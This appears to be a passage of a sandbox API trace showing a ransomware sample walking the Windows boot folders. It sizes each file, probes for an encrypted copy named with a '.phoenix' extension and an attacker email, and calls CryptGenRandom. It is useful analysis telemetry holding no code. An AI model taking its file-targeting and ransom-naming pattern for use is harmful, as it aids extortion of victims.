	[0213.644] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.644] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.644] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.650] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=145419) returned 1
	[0213.650] CloseHandle (hObject=0x548) returned 1
	[0213.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20
	[0213.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.651] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.651] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.651] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.651] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=162331) returned 1
	[0213.651] CloseHandle (hObject=0x548) returned 1
	[0213.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20
	[0213.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.651] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.651] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.651] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.652] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=164347) returned 1
	[0213.652] CloseHandle (hObject=0x548) returned 1
	[0213.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20
	[0213.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.652] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.652] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.652] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.652] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=154427) returned 1
	[0213.652] CloseHandle (hObject=0x548) returned 1
	[0213.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20
	[0213.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.653] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.653] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.653] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.653] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=156245) returned 1
	[0213.653] CloseHandle (hObject=0x548) returned 1
	[0213.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20
	[0213.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.653] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.653] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.654] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.655] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=44859) returned 1
	[0213.655] CloseHandle (hObject=0x548) returned 1
	[0213.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20
	[0213.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.656] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.656] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.656] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.656] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=85862) returned 1
	[0213.656] CloseHandle (hObject=0x548) returned 1
	[0213.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20
	[0213.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.656] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.657] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.657] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=86178) returned 1
	[0213.657] CloseHandle (hObject=0x548) returned 1
	[0213.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20
	[0213.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.657] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.657] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=49091) returned 1
	[0213.657] CloseHandle (hObject=0x548) returned 1
	[0213.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20
	[0213.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.658] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.658] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.658] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.658] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=79200) returned 1
	[0213.658] CloseHandle (hObject=0x548) returned 1
	[0213.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20
	[0213.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.658] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.658] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.658] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.659] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=79192) returned 1
	[0213.659] CloseHandle (hObject=0x548) returned 1
	[0213.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20
	[0213.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.659] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.659] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45984) returned 1
	[0213.659] CloseHandle (hObject=0x548) returned 1
	[0213.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20
	[0213.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.659] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.660] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.660] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=76640) returned 1
	[0213.660] CloseHandle (hObject=0x548) returned 1
	[0213.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20
	[0213.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.660] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.660] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.660] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.660] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=78688) returned 1
	[0213.660] CloseHandle (hObject=0x548) returned 1
	[0213.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20
	[0213.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.660] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.661] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.661] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45976) returned 1
	[0213.661] CloseHandle (hObject=0x548) returned 1
	[0213.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20
	[0213.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.661] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.661] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=77144) returned 1
	[0213.661] CloseHandle (hObject=0x548) returned 1
	[0213.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20
	[0213.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.662] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.662] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45472) returned 1
	[0213.662] CloseHandle (hObject=0x548) returned 1
	[0213.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20
	[0213.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.662] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.663] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=67424) returned 1
	[0213.663] CloseHandle (hObject=0x548) returned 1
	[0213.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20
	[0213.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.663] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.663] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=42904) returned 1
	[0213.663] CloseHandle (hObject=0x548) returned 1
	[0213.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20
	[0213.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
